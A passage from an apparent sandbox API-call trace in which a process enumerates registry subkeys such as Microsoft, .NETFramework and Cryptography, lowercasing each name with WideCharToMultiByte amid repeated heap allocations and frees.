lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intel", lpUsedDefaultChar=0x0) returned 5 [0229.159] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c120 [0229.159] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c0d8) returned 1 [0229.159] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c120) returned 1 [0229.159] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35bbb8) returned 1 [0229.159] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x35b930, cchName=0x104 | out: lpName="Macromedia") returned 0x0 [0229.159] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35bbb8 [0229.159] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0229.159] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c120 [0229.159] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x35c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="macromedia", lpUsedDefaultChar=0x0) returned 10 [0229.159] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c0d8 [0229.159] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c120) returned 1 [0229.159] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c0d8) returned 1 [0229.159] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35bbb8) returned 1 [0229.159] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x35b930, cchName=0x104 | out: lpName="Microsoft") returned 0x0 [0229.160] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35bbb8 [0229.160] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0229.160] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c0d8 [0229.160] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x35c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft", lpUsedDefaultChar=0x0) returned 9 [0229.160] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c120 [0229.160] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c0d8) returned 1 [0229.160] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c120) returned 1 [0229.160] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35bbb8) returned 1 [0229.160] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="Microsoft", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0x38) returned 0x0 [0229.160] RegCloseKey (hKey=0xc4) returned 0x0 [0229.160] RegEnumKeyW (in: hKey=0x38, dwIndex=0x0, lpName=0x35b930, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0229.160] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35bbb8 [0229.160] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0229.160] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c120 [0229.160] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x35c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0229.160] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c0d8 [0229.160] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c120) returned 1 [0229.160] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c0d8) returned 1 [0229.160] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35bbb8) returned 1 [0229.160] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1, lpName=0x35b930, cchName=0x104 | out: lpName="Active Setup") returned 0x0 [0229.160] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35bbb8 [0229.160] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0229.160] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c0d8 [0229.160] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x35c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="active setup", lpUsedDefaultChar=0x0) returned 12 [0229.160] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c120 [0229.160] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c0d8) returned 1 [0229.160] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c120) returned 1 [0229.160] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35bbb8) returned 1 [0229.160] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2, lpName=0x35b930, cchName=0x104 | out: lpName="ADs") returned 0x0 [0229.160] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35bbb8 [0229.161] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ads", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0229.161] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c120 [0229.161] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ads", cchWideChar=3, lpMultiByteStr=0x35c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ads", lpUsedDefaultChar=0x0) returned 3 [0229.161] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c0d8 [0229.161] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c120) returned 1 [0229.212] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c0d8) returned 1 [0229.213] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35bbb8) returned 1 [0229.213] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3, lpName=0x35b930, cchName=0x104 | out: lpName="Advanced INF Setup") returned 0x0 [0229.213] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35bbb8 [0229.213] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0229.213] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c0d8 [0229.214] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x35c0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="advanced inf setup", lpUsedDefaultChar=0x0) returned 18 [0229.214] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c120 [0229.214] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c0d8) returned 1 [0229.214] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c120) returned 1 [0229.220] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35bbb8) returned 1 [0229.220] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4, lpName=0x35b930, cchName=0x104 | out: lpName="ALG") returned 0x0 [0229.220] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35bbb8 [0229.220] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0229.220] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c120 [0229.221] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x35c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0229.221] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c0d8 [0229.221] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c120) returned 1 [0229.221] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c0d8) returned 1 [0229.221] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35bbb8) returned 1 [0229.221] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5, lpName=0x35b930, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0229.221] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35bbb8 [0229.221] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0229.222] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c0d8 [0229.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x35c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0229.222] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c120 [0229.222] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c0d8) returned 1 [0229.222] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c120) returned 1 [0229.222] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35bbb8) returned 1 [0229.223] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6, lpName=0x35b930, cchName=0x104 | out: lpName="Assistance") returned 0x0 [0229.224] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35bbb8 [0229.224] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0229.224] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c120 [0229.224] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x35c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="assistance", lpUsedDefaultChar=0x0) returned 10 [0229.224] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c0d8 [0229.225] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c120) returned 1 [0229.226] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c0d8) returned 1 [0229.226] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35bbb8) returned 1 [0229.231] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7, lpName=0x35b930, cchName=0x104 | out: lpName="BidInterface") returned 0x0 [0229.231] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35bbb8 [0229.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bidinterface", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0229.231] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c0d8 [0229.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bidinterface", cchWideChar=12, lpMultiByteStr=0x35c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bidinterface", lpUsedDefaultChar=0x0) returned 12 [0229.233] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c120 [0229.233] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c0d8) returned 1 [0229.233] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c120) returned 1 [0229.233] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35bbb8) returned 1 [0229.233] RegEnumKeyW (in: hKey=0x38, dwIndex=0x8, lpName=0x35b930, cchName=0x104 | out: lpName="COM3") returned 0x0 [0229.236] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35bbb8 [0229.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="com3", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0229.236] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c120 [0229.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="com3", cchWideChar=4, lpMultiByteStr=0x35c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="com3", lpUsedDefaultChar=0x0) returned 4 [0229.236] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c0d8 [0229.237] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c120) returned 1 [0229.237] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c0d8) returned 1 [0229.237] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35bbb8) returned 1 [0229.237] RegEnumKeyW (in: hKey=0x38, dwIndex=0x9, lpName=0x35b930, cchName=0x104 | out: lpName="Command Processor") returned 0x0 [0229.237] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35bbb8 [0229.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0229.237] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c0d8 [0229.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x35c0d8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="command processor", lpUsedDefaultChar=0x0) returned 17 [0229.237] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c120 [0229.237] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c0d8) returned 1 [0229.238] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c120) returned 1 [0229.238] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35bbb8) returned 1 [0229.238] RegEnumKeyW (in: hKey=0x38, dwIndex=0xa, lpName=0x35b930, cchName=0x104 | out: lpName="Connect to a Network Projector") returned 0x0 [0229.238] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35bbb8 [0229.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="connect to a network projector", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0229.238] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c120 [0229.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="connect to a network projector", cchWideChar=30, lpMultiByteStr=0x35c120, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="connect to a network projector", lpUsedDefaultChar=0x0) returned 30 [0229.240] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c0d8 [0229.240] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c120) returned 1 [0229.240] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c0d8) returned 1 [0229.240] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35bbb8) returned 1 [0229.240] RegEnumKeyW (in: hKey=0x38, dwIndex=0xb, lpName=0x35b930, cchName=0x104 | out: lpName="Cryptography") returned 0x0 [0229.240] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35bbb8 [0229.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptography", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0229.241] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c0d8 [0229.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptography", cchWideChar=12, lpMultiByteStr=0x35c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cryptography", lpUsedDefaultChar=0x0) returned 12 [0229.241] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c120 [0229.241] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c0d8) returned 1 [0229.242] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c120) returned 1 [0229.249] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35bbb8) returned 1 [0229.249] RegEnumKeyW (in: hKey=0x38, dwIndex=0xc, lpName=0x35b930, cchName=0x104 | out: lpName="CTF") returned 0x0 [0229.249] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35bbb8 [0229.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0229.250] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c120 [0229.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x35c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ctf", lpUsedDefaultChar=0x0) returned 3 [0229.250] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c0d8 [0229.250] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c120) returned 1 [0229.250] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c0d8) returned 1 [0229.252] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35bbb8) returned 1 [0229.252] RegEnumKeyW (in: hKey=0x38, dwIndex=0xd, lpName=0x35b930, cchName=0x104 | out: lpName="DataAccess") returned 0x0 [0229.252] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35bbb8 [0229.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dataaccess", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0229.252] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c0d8 [0229.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dataaccess", cchWideChar=10, lpMultiByteStr=0x35c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dataaccess", lpUsedDefaultChar=0x0) returned 10 [0229.252] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c120 [0229.253] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c0d8) returned 1 [0229.253] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c120) returned 1 [0229.253] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35bbb8) returned 1 [0229.253] RegEnumKeyW (in: hKey=0x38, dwIndex=0xe, lpName=0x35b930, cchName=0x104 | out: lpName="DataFactory") returned 0x0 [0229.253] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35bbb8 [0229.254] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datafactory", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0229.254] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c120 [0229.254] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datafactory", cchWideChar=11, lpMultiByteStr=0x35c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="datafactory", lpUsedDefaultChar=0x0) returned 11 [0229.254] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c0d8 [0229.254] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c120) returned 1 [0229.254] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c0d8) returned 1 [0229.255] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35bbb8) returned 1 [0229.255] RegEnumKeyW (in: hKey=0x38, dwIndex=0xf, lpName=0x35b930, cchName=0x104 | out: lpName="DevDiv") returned 0x0 [0229.255] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35bbb8 [0229.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="devdiv", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0229.255] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c0d8 [0229.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="devdiv", cchWideChar=6, lpMultiByteStr=0x35c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="devdiv", lpUsedDefaultChar=0x0) returned 6 [0229.255] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c120 [0229.255] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c0d8) returned 1 [0229.255] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c120) returned 1 [0229.255] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35bbb8) returned 1 [0229.255] RegEnumKeyW (in: hKey=0x38, dwIndex=0x10, lpName=0x35b930, cchName=0x104 | out: lpName="Dfrg") returned 0x0 [0229.255] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35bbb8 [0229.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfrg", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0229.255] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c120 [0229.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfrg", cchWideChar=4, lpMultiByteStr=0x35c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfrg", lpUsedDefaultChar=0x0) returned 4 [0229.255] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c0d8 [0229.255] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c120) returned 1 [0229.255] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c0d8) returned 1 [0229.255] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35bbb8) returned 1 [0229.255] RegEnumKeyW (in: hKey=0x38, dwIndex=0x11, lpName=0x35b930, cchName=0x104 | out: lpName="DFS") returned 0x0 [0229.255] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35bbb8 [0229.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfs", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0229.255] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c0d8 [0229.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfs", cchWideChar=3, lpMultiByteStr=0x35c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfs", lpUsedDefaultChar=0x0) returned 3 [0229.255] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c120 [0229.255] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c0d8) returned 1 [0229.255] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c120) returned 1 [0229.255] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35bbb8) returned 1 [0229.255] RegEnumKeyW (in: hKey=0x38, dwIndex=0x12, lpName=0x35b930, cchName=0x104 | out: lpName="DirectDraw") returned 0x0 [0229.255] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35bbb8 [0229.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directdraw", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0229.256] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c120 [0229.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 